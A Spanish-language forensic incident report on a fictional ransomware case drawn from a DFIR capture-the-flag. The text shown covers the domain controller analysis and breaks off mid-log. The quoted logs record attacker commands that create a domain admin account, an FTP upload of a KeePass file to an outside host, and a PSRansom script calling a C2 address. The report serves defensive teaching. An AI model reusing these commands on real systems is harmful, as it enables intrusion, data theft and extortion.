Contenido
- ¡WARNING! ¡LÉEME PRIMERO!
- Resumen ejecutivo.
- Antecedentes.
- Gestión del incidente
- 4.1. DC02 – 192.168.20.46
- 4.2. WS02 – 192.168.20.42
- 4.3. WS01 – 192.168.20.41
- 4.4. SRV01
- Conclusiones finales.
- Línea temporal del ataque.
- Impacto.
- Atribución.
- Lecciones aprendidas.
- Anexo A: IOC.
- FAQ (del meta, no del incidente).
Informe de Incidente BAKLAVA Parte 1
1. ¡WARNING! ¡LÉEME PRIMERO!
Este documento que estás leyendo es un informe “real” de un incidente ficticio, basado en el CTF DFIR que los compañeros Andrés Yedra y Arturo Martínez (unos fieras) montaron hace poco y que puedes encontrar aquí: https://ctf.communia.cc (y que por supuesto puedes jugar, aunque si piensas hacerlo deja de seguir leyendo porque los spoilers son más que abundantes y se pierde toda la gracia…)
Me han pedido en muchas ocasiones un “documento de ejemplo” de gestión de un incidente, tanto desde la parte de cómo investigarlo como de la parte de cómo redactarlo. En S2 Grupo tenemos como … muchos de esos documentos, pero aunque tengas todo el cuidado del mundo anonimizándolos siempre se corre un riesgo, así que hemos decidido partir de un incidente sintético. Disfruta y aprende, que el gusanillo del DFIR tiene lo suyo ;)
[Nota: todo lo que veais entre corchetes como notas… son eso, notas que no aparecerían en un documento formal, pero que creo que son de utilidad para aclarar alguna duda y sacarle el máximo provecho al análisis].
2. Resumen ejecutivo
El 22 de marzo de 2024 a las 15:30h Megacorp entra en contacto con nosotros porque ha sufrido un incidente de ransomware. Se despliega un equipo de respuesta ante incidentes, que obtiene evidencias de varios de los servidores y puestos de usuario de la Organización
Los análisis llevados a cabo permiten determinar que los atacantes enviaron un correo malicioso a uno de los usuarios de la Organización. Dicho correo tenía un enlace a un documento malicioso, que el usuario abrió infectando su puesto de usuario.
Los atacantes fueron capaces de obtener privilegios gracias a un fallo en los permisos de un directorio del equipo, y gracias a esos privilegios pudieron infectar otro equipo de usuario.
En dicho equipo realizan un ataque contra el dominio Windows que les permite obtener otro usuario privilegiado, con el que inician sesión en el servidor de datos, deshabilitan el antivirus y obtienen las credenciales existentes en el mismo. De la misma forma, con otro usuario privilegiado logran robar una copia de todos los datos de las cuentas de usuario de la Organización (incluida una copia cifrada de las contraseñas).
Con dichas credenciales inician sesión en el controlador de dominio, y roban una base de datos de contraseñas empleada por IT (fichero de KeePass). A continuación, descargan el ransomware y lo detonan, cifrando ficheros del servidor.
Se tiene una confianza alta de que los atacantes no han realizado más actividades maliciosas en otros equipos de la Organización. Sin embargo, se recomienda un cambio generalizado de todas las contraseñas (con énfasis en aquellas cuentas con privilegios), así como restaurar desde las copias de seguridad de los servidores a una fecha anterior a las 13:00h del 22 de marzo de 2024.
3. Antecedentes
El día 22 de marzo de 2024 a las 15:30h MegaCorp (en adelante la Organización), contacta con nosotros para solicitar ayuda en un incidente de ransomware. Siguiendo los procedimientos internos de activación de equipos de respuesta ante incidentes, se genera un equipo con los empleados #34, #125 y #251, y se establece una reunión de Teams con el cliente para una toma básica de información, de la que se obtienen los siguientes datos:
- La Organización tiene un dominio de Windows con los siguientes equipos:
- DC02 (controlador de dominio) – 192.168.20.46
- SRV01 (servidor de ficheros) – 192.168.20.45
- Varias estaciones de trabajo (WS01,WS02,etc)
- No se tiene EDR, usándose Windows Defender Essentials como antivirus.
- Se tiene desplegada la herramienta X, que permite generar capturas de tráfico de red limitadas.
- Los equipos están razonablemente parcheados,
- Alrededor del mediodía los usuarios se encontraron con que no podían acceder a ningún fichero de los servidores de la Organización, sospechando que se puede tratar de un incidente de ransomware.
Se establecen los siguientes objetivos de la respuesta ante incidentes:
- Identificar el vector de entrada del incidente.
- Listar las acciones llevadas a cabo por los atacantes.
- Confirmar si se ha producido o no exfiltración de información.
- Obtener IOC del ataque.
Se genera un espacio en nuestra nube privada para el intercambio de información entre ambas partes, y se solicita inicialmente un volcado de memoria y un triaje tanto de DC02 como de SRV01, subiéndose para ello a la nube privada los procedimientos establecidos para DumpIt y CyLR. La Organización genera la información solicitada, añadiendo las capturas de tráfico disponibles, y se procede a su análisis.
4. Gestión del incidente
DC02 – 192.168.20.46
Se plantean como primeros objetivos identificar el grupo de ransomware culpable del incidente, así como la fecha de detonación del mismo. Para ello se extrae la MFT del servidor del triaje, y se convierte a .csv con la utilidad mftdump y el comando:
mftdump.exe /l /o mft_DC02.csv $MFT
Si la pérdida de servicio ocurrió el 22 de marzo, es muy factible que los primeros ficheros cifrados aparezcan en dicha fecha. Se filtran los ficheros creados, accedidos o modificados en la MFT en dicha fecha:
$ fgrep “2024-03-22” mft_DC02.csv > mft_DC02_22032024.csv
Se realiza una inspección inicial de ficheros ordenando por ficheros modificados o creados sin encontrar ningún indicio de ficheros cifrados. Se tiene la hipótesis de que los atacantes han podido emplear el controlador de dominio para cifrar el resto de equipos, no habiendo cifrado el mismo.
Se realiza un análisis de logs con la herramienta Hayabusa, que genera varios indicadores de interés:
╭─────────────────────────────────────────────────────────╮
│ Top critical alerts: Top high alerts: │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ Active Directory Replication from Non Machine Account (129) Suspicious Eventlog Clearing or Configuration Change Activity (261) │
│ n/a Mimikatz DC Sync (129) │
│ n/a File Creation Date Changed to Another Year (20) │
│ n/a ETW Trace Evasion Activity (2) │
│ n/a Important Log File Cleared (2) │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
[Nota: Los eventos de borrado de logs en este caso son los autores del CTF preparando el entorno, pero en un caso real sería algo muy relevante].
Si revisamos el .csv de Hayabusa con las alertas, encontramos varios ítems relevantes:
- Actividad de Kerberoasting contra la cuenta de servicio sqladmin y desde la dirección IP 192.168.20.42 (log de eventos de Security):
2024-03-22 12:51:27.405 +01:00 Possible Kerberoasting (RC4 Kerberos Ticket Req) med DC02.megacorp.local Sec 4769 654135 TgtUser: localadmin@MEGACORP.LOCAL ¦ Svc: sqladmin ¦ SrcIP: ::ffff:192.168.20.42 ¦ Status: 0x0 IpPort: 51871 ¦ LogonGuid: 20DEA55F-927F-7C4A-5024-ABFB750F2867 ¦ ServiceSid: S-1-5-21-2346594845-3239972734-3293769256-1637 ¦ TargetDomainName: MEGACORP.LOCAL ¦ TicketEncryptionType: 0x17 ¦ TicketOptions: 0x40810000 ¦ TransmittedServices: –
2024-03-22 12:51:27.405 +01:00 Suspicious Kerberos RC4 Ticket Encryption med DC02.megacorp.local Sec 4769 654135 TgtUser: localadmin@MEGACORP.LOCAL ¦ Svc: sqladmin ¦ SrcIP: ::ffff:192.168.20.42 ¦ Status: 0x0 IpPort: 51871 ¦ LogonGuid: 20DEA55F-927F-7C4A-5024-ABFB750F2867 ¦ ServiceSid: S-1-5-21-2346594845-3239972734-3293769256-1637 ¦ TargetDomainName: MEGACORP.LOCAL ¦ TicketEncryptionType: 0x17 ¦ TicketOptions: 0x40810000 ¦ TransmittedServices: –
2024-03-22 12:51:27.405 +01:00 Kerberoasting Activity – Initial Query med DC02.megacorp.local Sec 4769 654135 TgtUser: localadmin@MEGACORP.LOCAL ¦ Svc: sqladmin ¦ SrcIP: ::ffff:192.168.20.42 ¦ Status: 0x0 IpPort: 51871 ¦ LogonGuid: 20DEA55F-927F-7C4A-5024-ABFB750F2867 ¦ ServiceSid: S-1-5-21-2346594845-3239972734-3293769256-1637 ¦ TargetDomainName: MEGACORP.LOCAL ¦ TicketEncryptionType: 0x17 ¦ TicketOptions: 0x40810000 ¦ TransmittedServices: –
- Posible replicación del Directorio Activo mediante un ataque de DC Sync a través del usuario helpdesk:
2024-03-22 13:08:19.728 +01:00 Active Directory Replication from Non Machine Account crit DC02.megacorp.local Sec 4662 654351 User: helpdesk ¦ ObjSvr: DS ¦ ObjName: %{ced6a520-e5af-47ea-90aa-e2906a78a2df} ¦ OpType: Object Access ¦ HID: 0x0 ¦ LID: 0x11b9a57a AccessList: %%7688 ¦ AccessMask: 0x100 ¦ AdditionalInfo2: ¦ AdditionalInfo: – ¦ ObjectType: %{19195a5b-6da0-11d0-afd3-00c04fd930c9} ¦ Properties: %%7688 {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-00c04fd930c9} ¦ SubjectDomainName: MEGACORP ¦ SubjectUserSid: S-1-5-21-2346594845-3239972734-3293769256-1638
2024-03-22 13:08:19.728 +01:00 Mimikatz DC Sync high DC02.megacorp.local Sec 4662 654349 User: helpdesk ¦ ObjSvr: DS ¦ ObjName: %{ced6a520-e5af-47ea-90aa-e2906a78a2df} ¦ OpType: Object Access ¦ HID: 0x0 ¦ LID: 0x11b9a57a AccessList: %%7688 ¦ AccessMask: 0x100 ¦ AdditionalInfo2: ¦ AdditionalInfo: – ¦ ObjectType: %{19195a5b-6da0-11d0-afd3-00c04fd930c9} ¦ Properties: %%7688 {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-00c04fd930c9} ¦ SubjectDomainName: MEGACORP ¦ SubjectUserSid: S-1-5-21-2346594845-3239972734-3293769256-1638
Se confirma la replicación del Directorio Activo investigando los GUID existentes:
{“date_created”: “2019-07-26T00:00:00”, “sigma_rule_path”: “es/windows/builtin/win_ad_replication_non_machine_account.yml”, “date_modified”: “2020-03-02T00:00:00”, “description”: “Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.”, “references”: [“https://github.com/Cyb3rWard0g/ThreatHunter-Playbook/tree/master/playbooks/windows/06_credential_access/T1003_credential_dumping/ad_replication_non_machine_account.md”], “customer”: [“None”], “tactic”: [“TA0006: Credential Access”], “dr_id”: “17d619c1-e020-4347-957e-1d1207455c93”, “technique”: [“T1003: Credential Dumping”], “raw_detection_rule”: “detection:\n condition: selection and not filter\n filter:\n – SubjectUserName|endswith: $\n – SubjectUserName|startswith: MSOL_\n selection:\n AccessMask: ‘0x100’\n EventID: 4662\n Properties|contains:\n – 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\n – 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2\n – 89e95b76-444d-4c62-991a-0facbeda640c\nfields:\n- ComputerName\n- SubjectDomainName\n- SubjectUserName\n”, “detection_rule_title”: “Active Directory Replication from Non Machine Account”, “detection_rule_author”: “Roberto Rodriguez @Cyb3rWard0g”, “detection_rule_internal_responsible”: “not defined”, “detection_rule_development_status”: “experimental”, “detection_rule_severity”: “critical”, “detection_rule_confidence”: “not defined”, “category”: [“OS Logs”], “platform”: [“Windows”], “type”: [“Windows Log”], “channel”: [“Security”], “provider”: [“Microsoft-Windows-Security-Auditing”], “data_needed”: [“DN_0030_4662_operation_was_performed_on_an_object”], “logging_policy”: [“LP_0027_windows_audit_directory_service_access”], “enrichment”: [“not defined”], “enrichment_requirements”: [“not defined”]}
[Nota: para los que os habéis pegado cabezazos con el CTF diciendo Mimikatz, la respuesta correcta es crackmapexec. Si investigas muy a fondo esos GUID, llegas a un repo oscuro de reglas SIGMA donde se asocian con crackmapexec]
- A través de los logs de Sysmon se detecta actividad de WMI que conduce a la generación por parte de Administrador del usuario administrad0r (contraseña “dPassword2024!”) y su añadido al grupo de Administradores de Dominio:
2024-03-22 13:08:44.978 +01:00 WmiPrvSE Spawned A Process med DC02.megacorp.local Sysmon 1 110629 Cmdline: cmd.exe /Q /c net user administrat0r dPassword2024! /add /domain 1> \Windows\Temp\AvPuop 2>&1 ¦ Proc: C:\Windows\System32\cmd.exe ¦ User: MEGACORP\Administrator ¦ ParentCmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding ¦ LID: 0x11b9bbbc ¦ LGUID: 87AE893E-74CC-65FD-BCBB-B91100000000 ¦ PID: 6632 ¦ PGUID: 87AE893E-74CC-65FD-0B2E-000000000700 ¦ ParentPID: 1908 ¦ ParentPGUID: 87AE893E-74CC-65FD-0A2E-000000000700 ¦ Description: Windows Command Processor ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=E7A6B1F51EFB405287A8048CFA4690F4,SHA256=EB71EA69DD19F728AB9240565E8C7EFB59821E19E3788E289301E1E74940C208,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C CurrentDirectory: C:\ ¦ FileVersion: 10.0.20348.1 (WinBuild.160101.0800) ¦ IntegrityLevel: High ¦ OriginalFileName: Cmd.Exe ¦ ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe ¦ ParentUser: NT AUTHORITY\NETWORK SERVICE ¦ RuleName: – ¦ TerminalSessionId: 0 ¦ UtcTime: 2024-03-22 12:08:44.972
2024-03-22 13:09:31.388 +01:00 WmiPrvSE Spawned A Process med DC02.megacorp.local Sysmon 1 110632 Cmdline: cmd.exe /Q /c net group ‘Domain Admins’ /add administrat0r /domain 1> \Windows\Temp\qzvdaS 2>&1 ¦ Proc: C:\Windows\System32\cmd.exe ¦ User: MEGACORP\Administrator ¦ ParentCmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding ¦ LID: 0x11b9e0be ¦ LGUID: 87AE893E-74FB-65FD-BEE0-B91100000000 ¦ PID: 7000 ¦ PGUID: 87AE893E-74FB-65FD-0F2E-000000000700 ¦ ParentPID: 1908 ¦ ParentPGUID: 87AE893E-74CC-65FD-0A2E-000000000700 ¦ Description: Windows Command Processor ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=E7A6B1F51EFB405287A8048CFA4690F4,SHA256=EB71EA69DD19F728AB9240565E8C7EFB59821E19E3788E289301E1E74940C208,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C CurrentDirectory: C:\ ¦ FileVersion: 10.0.20348.1 (WinBuild.160101.0800) ¦ IntegrityLevel: High ¦ OriginalFileName: Cmd.Exe ¦ ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe ¦ ParentUser: NT AUTHORITY\NETWORK SERVICE ¦ RuleName: – ¦ TerminalSessionId: 0 ¦ UtcTime: 2024-03-22 12:09:31.384
- Los atacantes emplean dicho acceso para realizar una conexión desde la dirección IP 192.168.20.42 a través de RDP (Escritorio Remoto):
2024-03-22 13:12:08.397 +01:00 Net Conn (Sysmon Alert) med DC02.megacorp.local Sysmon 3 110651 Initiated: false ¦ Proto: tcp ¦ SrcIP: 192.168.20.42 ¦ SrcPort: 52156 ¦ SrcHost: – ¦ TgtIP: 192.168.20.46 ¦ TgtPort: 3389 ¦ TgtHost: DC02.megacorp.local ¦ User: NT AUTHORITY\NETWORK SERVICE ¦ Proc: C:\Windows\System32\svchost.exe ¦ PID: 800 ¦ PGUID: 87AE893E-4E0F-65E0-1200-000000000700 DestinationPortName: ms-wbt-server ¦ RuleName: RDP ¦ UtcTime: 2024-03-22 12:12:06.292
Se cruzan los logs de Sysmon con los de Terminal Services, confirmando el acceso del nuevo usuario administrat0r:
Nombre de registro:Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational
Origen: Microsoft-Windows-TerminalServices-RemoteConnectionManager
Fecha: 22/03/2024 13:12:07
Id. del evento:1149
Usuario: Servicio de red
Equipo: DC02.megacorp.local
Descripción: Servicios de Escritorio remoto: autenticación de usuario correcta:
Usuario: administrat0r
Dominio:
Como detalle interesante, los atacantes dejan ver el ComputerName de su equipo origen en el inicio de sesión en el log de eventos de Security:
Nombre de registro:Security
Origen: Microsoft-Windows-Security-Auditing
Fecha: 22/03/2024 13:12:06
Id. del evento:4624
Categoría de la tarea:Logon
Equipo: DC02.megacorp.local
Descripción: Se inició sesión correctamente en una cuenta.
Información de inicio de sesión:
Tipo de inicio de sesión: 3
Modo de administrador restringido: –
Cuenta virtual: No
Token elevado: Sí
Nivel de suplantación: Suplantación
Nuevo inicio de sesión:
Id. de seguridad: S-1-5-21-2346594845-3239972734-3293769256-1644
Nombre de cuenta: administrat0r
Dominio de cuenta: MEGACORP
Id. de inicio de sesión: 0x11BA6CAE
Inicio de sesión vinculado: 0x0
Nombre de cuenta de red: –
Dominio de cuenta de red: –
GUID de inicio de sesión: {00000000-0000-0000-0000-000000000000}
Información de red:
Nombre de estación de trabajo: ubuntu
Dirección de red de origen: 192.168.20.42
Puerto de origen: 0
Información de autenticación detallada:
Proceso de inicio de sesión: NtLmSsp
Paquete de autenticación: NTLM
Servicios transitados: –
Nombre de paquete (solo NTLM)
[Nota: Es a la vez WS02 y la Kali de los atacantes ¿Brujería? No, herramientas de tunneling para que todo el tráfico que llegue a WS02 desde el equipo de los atacantes llegue a la red interna].
Dicha conexión se repite a las 13:20h.
2024-03-22 13:20:04.243 +01:00 Net Conn (Sysmon Alert) 3 Initiated: false ¦ Proto: tcp ¦ SrcIP: 192.168.20.42 ¦ SrcPort: 52180 ¦ SrcHost: – ¦ TgtIP: 192.168.20.46 ¦ TgtPort: 3389 ¦ TgtHost: DC02.megacorp.local ¦ User: NT AUTHORITY\NETWORK SERVICE ¦ Proc: C:\Windows\System32\svchost.exe ¦ PID: 800 ¦ PGUID: 87AE893E-4E0F-65E0-1200-000000000700 DestinationPortName: ms-wbt-server ¦ RuleName: RDP ¦ UtcTime: 2024-03-22 12:20:02.056
- El usuario administrat0r descarga el software FileZilla en modo portable (posible exfiltración de datos), y lo ejecuta pocos minutos después:
2024-03-22 13:25:37.490 +01:00 File Created (Sysmon Alert) 11 Rule: Downloads ¦ Path: C:\Users\administrat0r.MEGACORP\Downloads\FileZillaPortable_3.66.5.paf.exe:Zone.Identifier ¦ Proc: C:\Program Files\Mozilla Firefox\firefox.exe ¦ PID: 1480 ¦ PGUID: 87AE893E-77ED-65FD-A52E-000000000700 CreationUtcTime: 2024-03-22 12:24:14.475 ¦ User: MEGACORP\administrat0r ¦ UtcTime: 2024-03-22 12:25:37.489
2024-03-22 13:31:33.766 +01:00 Net Conn (Sysmon Alert) 3 Initiated: true ¦ Proto: tcp ¦ SrcIP: 192.168.20.46 ¦ SrcPort: 57127 ¦ SrcHost: DC02.megacorp.local ¦ TgtIP: 200.234.235.200 ¦ TgtPort: 21 ¦ TgtHost: 4939a99f-df39-424f-80ba-83c3ec5b824f.clouding.host ¦ User: MEGACORP\administrat0r ¦ Proc: C:\Users\administrat0r.MEGACORP\Downloads\FileZillaPortable\App\filezilla64\filezilla.exe ¦ PID: 1176 ¦ PGUID: 87AE893E-799B-65FD-C42E-000000000700 DestinationIsIpv6: false ¦ DestinationPortName: ftp ¦ RuleName: Usermode ¦ SourceIsIpv6: false ¦ SourcePortName: – ¦ UtcTime: 2024-03-22 12:31:31.685
Analizando los logs de Sysmon se comprueba que la comunicación se ha establecido de forma correcta, ya que se observa la apertura de una comunicación de FTP en modo pasivo:
Nombre de registro:Microsoft-Windows-Sysmon/Operational
Origen: Microsoft-Windows-Sysmon
Fecha: 22/03/2024 13:31:37
Id. del evento:3
Categoría de la tarea:Network connection detected (rule: NetworkConnect)
Nivel: Información
Palabras clave:
Usuario: SYSTEM
Equipo: DC02.megacorp.local
Descripción:
Network connection detected:
RuleName: Usermode
UtcTime: 2024-03-22 12:31:35.606
ProcessGuid: {87ae893e-799b-65fd-c42e-000000000700}
ProcessId: 1176
Image: C:\Users\administrat0r.MEGACORP\Downloads\FileZillaPortable\App\filezilla64\filezilla.exe
User: MEGACORP\administrat0r
Protocol: tcp
Initiated: true
SourceIsIpv6: false
SourceIp: 192.168.20.46
SourceHostname: DC02.megacorp.local
SourcePort: 57128
DestinationIsIpv6: false
DestinationIp: 200.234.235.200
DestinationHostname: 4939a99f-df39-424f-80ba-83c3ec5b824f.clouding.host
DestinationPort: 51484
Si se analiza la captura de tráfico disponible, se puede encontrar en primer lugar las credenciales empleadas por los atacantes para conectar al FTP:
56121 155.283210 200.234.235.200 192.168.20.46 FTP 86 Response: 331 Password required for ftp1
56122 155.283880 192.168.20.46 200.234.235.200 FTP 75 Request: PASS fPassword2024!
Así mismo, se observa que los atacantes han exfiltrado un fichero:
56023 127.932534 192.168.20.46 200.234.235.200 FTP-DATA 1466 FTP Data: 1412 bytes (PASV) (STOR management-passwords-1.kdbx)
Este fichero corresponde con casi total seguridad a un fichero de contraseñas de KeePass. Se recomienda a la Organización el cambio de todas las contraseñas que existan en dicho ficheros
- A continuación, se observa en los logs de Powershell la ejecución de un script malicioso (el fichero completo se puede encontrar en el Anexo B: Powershell – Ransomware):
2024-03-22 13:33:29.212 +01:00 Potentially Malicious PwSh 4104 ScriptBlock: powershell /ep bypass MessageNumber: 1 ¦ MessageTotal: 1 ¦ Path: ¦ ScriptBlockId: d51a68b7-44f8-4ce6-993b-bdb80551be6b
2024-03-22 13:33:29.422 +01:00 Suspicious PowerShell Parameter Substring 1 Cmdline: “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” /ep bypass ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ User: MEGACORP\administrat0r ¦ ParentCmdline: “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” ¦ LID: 0x11bae44c ¦ LGUID: 87AE893E-759C-65FD-4CE4-BA1100000000 ¦ PID: 9248 ¦ PGUID: 87AE893E-7A99-65FD-DA2E-000000000700 ¦ ParentPID: 3580 ¦ ParentPGUID: 87AE893E-77BC-65FD-A22E-000000000700 ¦ Description: Windows PowerShell ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=2E0CCB27064856E3D55017FA2D33A7B9,SHA256=1C84C8632C5269F24876ED9F49FA810B49F77E1E92E8918FC164C34B020F9A94,IMPHASH=BF7A6E7A62C3F5B2E8E069438AC1DD3D CurrentDirectory: C:\Users\administrat0r.MEGACORP\Desktop\ ¦ FileVersion: 10.0.20348.1 (WinBuild.160101.0800) ¦ IntegrityLevel: Medium ¦ OriginalFileName: PowerShell.EXE ¦ RuleName: – ¦ TerminalSessionId: 3 ¦ UtcTime: 2024-03-22 12:33:29.418
2024-03-22 13:34:37.813 +01:00 Potentially Malicious PwSh 4104 ScriptBlock: [REDACTED]
Se analiza el script malicioso, obteniendo los siguientes detalles de interés:
- El fichero ejecutado se encuentra en el directorio del usuario administrad0r, y tiene como nombre baklavasom.ps1:
C:\Users\administrat0r.MEGACORP\Desktop\baklavasom.ps1
- El script que permite identificar el ransomware como PsRansom, siendo su creador es @JoelGMSec:
PSRansom by @JoelGMSec # # https://darkbyte.net
- Se realiza una búsqueda en fuentes abiertas y se verifica que el script coincide con lo observado en el repo de Github del mismo nombre:
https://github.com/JoelGMSec/PSRansom
- Un análisis inicial del mismo indica que tiene unos parámetros que resultan interesantes:
Write-Host “.\PSRansom.ps1 -e Directory -s C2Server -p C2Port”
Se busca en los logs de Powershell información sobre el C2, encontrando un evento de Powershell donde aparecen:
Nombre de registro:Windows PowerShell
Origen: PowerShell
Fecha: 22/03/2024 13:34:40
Id. del evento:800
Categoría de la tarea:Detalles de ejecución de la canalización
Equipo: DC02.megacorp.local
Descripción: Detalles de ejecución de canalización para la línea de comandos: Try { Invoke-WebRequest -useb “$C2Server`:$C2Port/status” -Method GET
UserId=MEGACORP\administrat0r
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /ep bypass
ScriptName=C:\Users\administrat0r.MEGACORP\Desktop\baklavasom.ps1
CommandLine= Try { Invoke-WebRequest -useb “$C2Server`:$C2Port/status” -Method GET
- Se realiza una búsqueda por cadenas en los logs de Powershell, y se encuentra la cadena con los datos del C2 y el puerto:
CommandInvocation(Invoke-WebRequest): “Invoke-WebRequest”
ParameterBinding(Invoke-WebRequest): name=”UseBasicParsing”; value=”True”
ParameterBinding(Invoke-WebRequest): name=”Method”; value=”Get”
ParameterBinding(Invoke-WebRequest): name=”Uri”; value=”200.234.235.200:8800/status”
[Nota: otra opción sería, en un incidente real, solicitar al cliente el historial de Powershell, que en la MFT vemos que existe y posiblemente tenga los parámetros de ejecución:
2024-03-22 12:21:28 2024-03-22 12:34:36 2024-03-22 12:34:36 2024-03-22 12:34:36 369 369 txt \Users\administrat0r.MEGACORP\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Se confirma que el ransomware se ejecutó a las 13:34h hora local, ya que los logs de Powershell muestran los ficheros cifrados (que al parecer afectan únicamente a SRV01):
Detalles:
CommandInvocation(Get-Content): “Get-Content”
ParameterBinding(Get-Content): name=”Path”; value=”\\SRV01\files\readme.txt”
CommandInvocation(Select-String): “Select-String”
ParameterBinding(Select-String): name=”Pattern”; value=”[!]”
CommandInvocation(Select-String): “Select-String”
ParameterBinding(Select-String): name=”NotMatch”; value=”True”
ParameterBinding(Select-String): name=”Pattern”; value=”PSRansom!”
ParameterBinding(Select-String): name=”InputObject”; value=”All your files have been encrypted by PSRansom!”
ParameterBinding(Select-String): name=”InputObject”; value=”All your files have been encrypted by PSRansom!”
ParameterBinding(Select-String): name=”InputObject”; value=”But don’t worry, you can still recover them with the recovery key :)”
ParameterBinding(Select-String): name=”InputObject”; value=””
ParameterBinding(Select-String): name=”InputObject”; value=”Recovery Key: Ask for it to out team :) “
ParameterBinding(Select-String): name=”InputObject”; value=””
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-1.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-1.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-10.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-10.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-11.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-11.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-12.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-12.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-13.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-13.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-14.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-14.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-15.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-15.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-16.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-16.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-17.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-17.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-18.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-18.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-19.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-19.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-2.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-2.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-20.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-20.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-3.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-3.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-4.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-4.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-5.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-5.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-6.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-6.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-7.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-7.docx is now encrypted”
ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-8.docx is now encrypted”
